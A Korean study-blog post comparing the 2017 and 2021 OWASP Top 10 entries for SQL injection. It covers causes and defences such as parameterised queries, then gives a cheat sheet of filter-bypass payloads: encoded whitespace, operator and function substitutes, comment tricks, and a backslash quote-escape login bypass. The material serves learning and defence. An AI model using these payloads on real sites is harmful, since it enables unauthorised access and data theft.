2017과 2021 owasp top10 [sql 인젝션]
-> 위 사진처럼 sql 인젝션은 XSS와 보안적인 측면에서 긴밀하게 연결되어 병합됐고 2021년 3위로 강등되었다.
하지만 2017년과 2021년 데이터 셋이나 카테고리 구성 등 많은 요소가 달라졌다.
- 카테고리 구성 방법
데이터 셋의 수 30 vs 400
OWASP Top 10에서 몇 가지 범주가 변경되었다.
이전 데이터 수집 노력은 추가 조사 결과를 요구하는 필드가 있는 약 30개의 CWE로 지정된 하위 집합에 집중됐지만 거의 400개의 CWE로 늘었다.
- 데이터가 범주에 사용되는 방식
2017년에는 가능성을 결정하기 위해 발생률별로 범주를 선택한 다음, 악용 가능성 , 탐지 가능성 및 기술적 영향 에 대한 수십 년간의 경험을 기반으로 팀 토론을 통해 순위를 매겼었다.
2021년에는 가능한 경우 악용 가능성 및 (기술적) 영향 에 대한 데이터를 사용했다.
- 데이터의 요소
상위 10개 범주 각각에 대해 나열된 데이터 요소가 있으며 그 의미는 다음과 같다.
- 매핑된 CWE: 상위 10개 팀이 범주에 매핑한 CWE의 수
- 발생률: 발생률은 해당 연도에 해당 조직에서 테스트한 모집단에서 해당 CWE에 취약한 응용 프로그램의 백분율
- (테스트) 적용 범위: 주어진 CWE에 대해 모든 조직에서 테스트한 애플리케이션의 비율
- 가중 익스플로잇: CWE에 매핑된 CVE에 할당된 CVSSv2 및 CVSSv3 점수의 익스플로잇 하위 점수는 정규화되고 10pt 척도에 배치
- 가중 영향: CWE에 매핑된 CVE에 할당된 CVSSv2 및 CVSSv3 점수의 영향 하위 점수는 정규화되고 10pt 척도에 배치
- 총 발생 수: 범주에 매핑된 CWE가 있는 것으로 확인된 총 응용 프로그램 수
- 총 CVE: 카테고리에 매핑된 CWE에 매핑된 NVD DB의 총 CVE 수
- sql 인젝션 취약점
- 사용자 제공 데이터는 애플리케이션에서 검증, 필터링 또는 삭제되지 않는다.
- 컨텍스트 인식 이스케이프가 없는 동적 쿼리 또는 매개 변수화되지 않은 호출은 인터프리터에서 직접 사용된다.
- 적대적 데이터는 ORM(개체 관계형 매핑) 검색 매개변수 내에서 사용되어 민감한 추가 레코드를 추출한다.
- 적대적인 데이터가 직접 사용되거나 연결됩니다. SQL 또는 명령에는 동적 쿼리, 명령 또는 저장 프로시저의 구조 및 악성 데이터가 포함되어 있다.
#일반적인 인젝션에는 SQL, NoSQL, OS 명령, ORM(Object Relational Mapping), LDAP 및 EL(Expression Language) 또는 OGNL(Object Graph Navigation Library) 인젝션이 있다.
- 예방하는 방법
삽입을 방지하려면 데이터를 명령 및 쿼리와 분리하여 유지해야 한다.
- 선호하는 옵션은 인터프리터를 완전히 사용하지 않고 매개변수화된 인터페이스를 제공하거나 ORM(개체 관계 매핑 도구)으로 마이그레이션하는 안전한 API를 사용할 것
참고: 매개 변수가 있는 경우에도 PL/SQL 또는 T-SQL이 쿼리와 데이터를 연결하거나 EXECUTE IMMEDIATE 또는 exec()를 사용하여 악의적인 데이터를 실행하는 경우 저장 프로시저는 여전히 SQL 주입을 도입할 수 있다. - 긍정적인 서버측 입력 유효성 검사를 사용한다. 많은 애플리케이션이 텍스트 영역이나 모바일 애플리케이션용 API와 같은 특수 문자를 필요로 하므로 이는 완벽한 방어 수단이 아니다.
- 나머지 동적 쿼리의 경우 해당 인터프리터에 대한 특정 이스케이프 구문을 사용하여 특수 문자를 이스케이프합니다.
참고: 테이블 이름, 열 이름 등과 같은 SQL 구조는 이스케이프할 수 없으므로 사용자가 제공한 구조 이름은 위험합니다. 이는 보고서 작성 소프트웨어에서 흔히 발생하는 문제입니다. - 쿼리 내에서 LIMIT 및 기타 SQL 컨트롤을 사용하여 SQL 삽입 시 레코드가 대량으로 공개되지 않도록 합니다.
- sql인젝션 공격에 사용되는 우회 문자
1. 공백 문자 우회
1) Line Feed (\n)
- 커서(캐럿)를 다음 줄(현재 위치에서 바로 아래줄)로 이동시키는 개행 문자
- URL Encoding: %0a
- ex) no=1%0aor%0aid='admin'
2) Tab (\t)
- 커서를 한 tab만큼 이동시키는 문자
- URL Encoding: %09
- ex) no=1%09or%09id='admin'
3) Carrage Return (\r)
- 커서(캐럿)를 줄의 맨 앞(왼쪽)으로 이동시키는 개행 문자
- URL Encoding: %0d
- ex) no=1%0dor%0did='admin'
4) 주석 (/**/)
- ex) no=1/**/or/**/id='admin'
5) 괄호 ()
- ex) no=(1)or(id='admin')
6) 더하기 (+)
- ex) no=1+or+id='admin'
7) %0b, %0c, %a0
- 1~6까지의 모든 우회 방법이 먹히지 않을 경우 공백 대신 사용
- %a0보다 %0b나 %0c를 위주 사용
2. 논리 연산자, 비교 연산자 우회
1) OR 연산자
- ||
2) AND 연산자
- &&
- URL Encoding: %26%26
3) 등호(=)
1) LIKE 연산자
- ex) id like "admin"
- 정규 표현식을 이용하여 쿼리문을 조작가능 (ex. pw like "a%" → pw의 첫 번째 문자가 a이면 true)
2) IN 연산자
- ex) id in ("admin")
3) instr(string $str, string $substr)
- ex) instr(id, "admin")
4) 부등호 (< , >)
- ex) length(pw) > 7 and length(pw) < 9
3. 함수 우회
1) str_replace(string $search, string $replace, string $subject)
- 필터링되는 문자열 사이에 문자열을 넣는다.
- ex) str_replace("admin", "", $_GET[id])
→ adadminmin 으로 입력하면 중간에 있는 admin이 공백으로 필터링되어 admin만 남게 된다.
2) substr(string $str, int $start, int $length)
- substring(string $str, int $start, int $length)
- mid(string $str, int $start, int $length)
3) ascii(string $str)
- ord(string $str): ascii 함수와 마찬가지로 문자열을 아스키코드 값으로 변환해줌
- hex(string $str): 문자열을 아스키코드 헥사값으로 변환해줌
ex) hex(substr(pw, 1, 1)) = hex(61)
4. 주석 처리
① --
- 뒤에 반드시 공백이 있어야 정상적으로 주석 처리가 된다.
- 한 줄만 주석처리한다.
② # (URL Encoding: %23)
- '--'처럼 뒤에 공백이 없어도 정상적으로 주석 처리
- 한 줄만 주석 처리
③ /* */
- /* */ 사이의 문자열들이 모두 주석 처리
④ ;%00
- NULL 문자인 %00과 ;이 결합한 주석 처리 문자
5. 싱글 쿼터(') 우회
1) 더블 쿼터(") 사용
ex) id="admin"
2) 백슬래시(\) 사용
- select id from table where id='$_GET[id]' and pw='$_GET[pw]' 와 같은 쿼리문에 제한적으로 사용 가능
- ex) id='\' and pw=' or 1#' → \에 의해 바로 뒤에 있는 싱글쿼터(')가 문자로 인식됨
☞ '\' and pw'가 문자열로 인식되고 이 뒷부분부터는 쿼리문으로 인식됨
☞ 인자 전달: id=\&pw=%20or%201%23
- 요약
2017년과 2021년 owasp top10의 변화는 정보수집이나 요소들이 많이 다르기 때문에 연관성이 거의 없고 2021년 지표가 더 정확해지지 않았을까 생각한다.[2021년 top10은 새로운 지표로 만든 목록느낌]
웹 기반 공격은 아직도 우세하며 많이 행해지고 있고 최근에는 여러가지 단기간에 여러 공격기법도 사용한다.
- 참고
https://owasp.org/Top10/A03_2021-Injection/
https://zdnet.co.kr/view/?no=20220803171520
https://www.boannews.com/media/view.asp?idx=110990&kind=3
https://g-idler.tistory.com/61
'교육 및 자격증 > 스터디' 카테고리의 다른 글
GH(NOB); 무료 클라우드, 무료 서버(공방전용) (0) | 2023.03.17 |
---|---|
GH(NOB); 파일 삽입(File Inclusion) 취약점[RFI, LFI] (0) | 2023.03.17 |
GH(NOB); XSS(크로스 사이트 스크립트) (0) | 2023.03.17 |
GH(NOB); 크로스 사이트 요청 변조(CSRF: Cross Site Request Forgery) (0) | 2023.03.17 |
GH(NOB); SQL 인젝션 (0) | 2023.03.01 |